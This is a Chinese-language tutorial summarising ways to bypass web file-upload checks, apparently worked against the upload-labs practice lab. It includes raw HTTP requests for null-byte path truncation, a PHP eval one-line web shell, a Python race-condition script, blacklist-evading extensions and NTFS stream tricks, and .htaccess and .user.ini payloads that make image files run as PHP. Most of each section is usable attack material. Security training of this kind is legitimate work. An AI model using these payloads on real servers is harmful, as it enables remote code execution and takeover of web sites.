文件上传简单的绕过总结
目录
绕过前端JS校验
修改MIME头
白名单校验
%00截断
00截断
图片马+文件包含漏洞
getimagesize()绕过
exif_imagetype()绕过
二次渲染绕过
条件竞争
黑名单校验
扩展名绕过
大小写绕过
双写绕过
win环境末尾加.绕过
win环境末尾加空格绕过
win环境NTFS数据流绕过
win环境. . 绕过
上传.htaccess
上传.user.ini
绕过前端JS校验
修改MIME头
白名单校验
%00截断
url文件上传路径可控,且是GET方式如
POST /Pass-12/index.php?save_path=../upload/ HTTP/1.1
Host: 192.168.112.1
Content-Length: 317
Cache-Control: max-age=0
Origin: http://192.168.112.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywbRn0IlTa7M4vDez
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.112.1/Pass-12/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close------WebKitFormBoundarywbRn0IlTa7M4vDez
Content-Disposition: form-data; name="upload_file"; filename="1.php"
Content-Type: application/octet-stream<?php phpinfo();?>
------WebKitFormBoundarywbRn0IlTa7M4vDez
Content-Disposition: form-data; name="submit"涓婁紶
------WebKitFormBoundarywbRn0IlTa7M4vDez--
通过将路径写成save_path=../upload/1.php%00,随后请求头参数写成filename=1.jpg,首先1.jpg绕过白名单校验,随后路径拼接并保存为../upload/1.php%001.jpg,但是服务端读取解析时遇到%00会将后面的截断,所以解析的实际上是1.php文件而不是1.php%001.jpg文件。
00截断
url文件上传路径可控,且是POST方式如
POST /Pass-13/index.php HTTP/1.1
Host: 192.168.112.1
Content-Length: 423
Cache-Control: max-age=0
Origin: http://192.168.112.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryinAJxRHj968kAgcE
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.112.1/Pass-13/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close------WebKitFormBoundaryinAJxRHj968kAgcE
Content-Disposition: form-data; name="save_path"../upload/
------WebKitFormBoundaryinAJxRHj968kAgcE
Content-Disposition: form-data; name="upload_file"; filename="1.php"
Content-Type: application/octet-stream<?php phpinfo();?>
------WebKitFormBoundaryinAJxRHj968kAgcE
Content-Disposition: form-data; name="submit"涓婁紶
------WebKitFormBoundaryinAJxRHj968kAgcE--
POST方式,url可控但是在请求体中,文件名也在请求体中,这里我们通过将../upload/写为../upload/1.php+,随后使用十六进制形式将+号的十六进制形式改为00,随后文件名为1.jpg然后放包就可以了,这里为什么不直接拼接%00呢?因为使用POST方式不能对%00进行解码,但是GET方式就可以,这个思路跟%00截断大差不差。
图片马+文件包含漏洞
使用windows的cmd制作图片马
随后配合文件包含漏洞
getimagesize()绕过
可以使用windows制作图片马或者直接在含有恶意php脚本的图片文件前面插入GIF89a
exif_imagetype()绕过
可以使用windows制作图片马或者直接在含有恶意php脚本的图片文件前面插入GIF89a
二次渲染绕过
有些二次渲染会将原本的包含图片马进行损坏,这里可以通过使用010editor编辑一个二次渲染后图片马不会损坏的图片马,这里直接给出一个二次渲染后不会损坏的图片马点击这里,该图片马内容为,随后配合文件包含漏洞打组合拳即可。
<?php @eval($_POST['zoe']);?>
条件竞争
python脚本(url改成你们自己上传文件后的路径)
import requests
import threading
import osclass RaceCondition(threading.Thread):def __init__(self):threading.Thread.__init__(self)self.url = 'http://127.0.0.1/upload-labs/upload/wshell.php'def _get(self):print('try to call uploaded file...')r = requests.get(self.url)if r.status_code == 200:print(r.text)os._exit(0)def run(self):while True:for i in range(5):self._get()for i in range(10):self._get()if __name__ == '__main__':threads = 50for i in range(threads):t = RaceCondition()t.start()for i in range(threads):t.join()
这个脚本的作用是不断访问上传的木马文件1.php,直到访问成功(返回200状态码)时才停止访问。
然后burp爆破无限上传1.php,随后脚本执行,即可能条件竞争成功。
黑名单校验
扩展名绕过
1.php->1.php3
1.php3,1.php4,1.php5,1.php6,1.php7
1.phtml
大小写绕过
1.php->1.PHp
双写绕过
1.php->1.pphphp
win环境末尾加.绕过
1.php->1.php.
win环境末尾加空格绕过
1.php->1.php
win环境NTFS数据流绕过
1.php->1.php::$DATA
win环境. . 绕过
1.php->1.php. .
上传.htaccess
.htaccess文件内容如下
AddType application/x-httpd-php .jpg
首先上传1个.htaccess文件,接着上传一个1.jpg文件,文件中包含php恶意代码。
当尝试访问1.jpg文件时,Apache会尝试将它作为php脚本并执行,而不是显示它作为图象文件。
上传.user.ini
.user.ini文件内容如下
auto_prepend_file=1.jpg(与自己上传的文件名相同)
先上传.user.ini文件,接着上传一个1.jpg文件,文件中包含php恶意代码。
当尝试访问1.jpg文件时,开启了fastcgi的服务器如(Nginx,Apache)会尝试将它作为php脚本并执行,而不是显示它作为图象文件。
AddType application/x-httpd-php .jpg
auto_prepend_file=1.jpg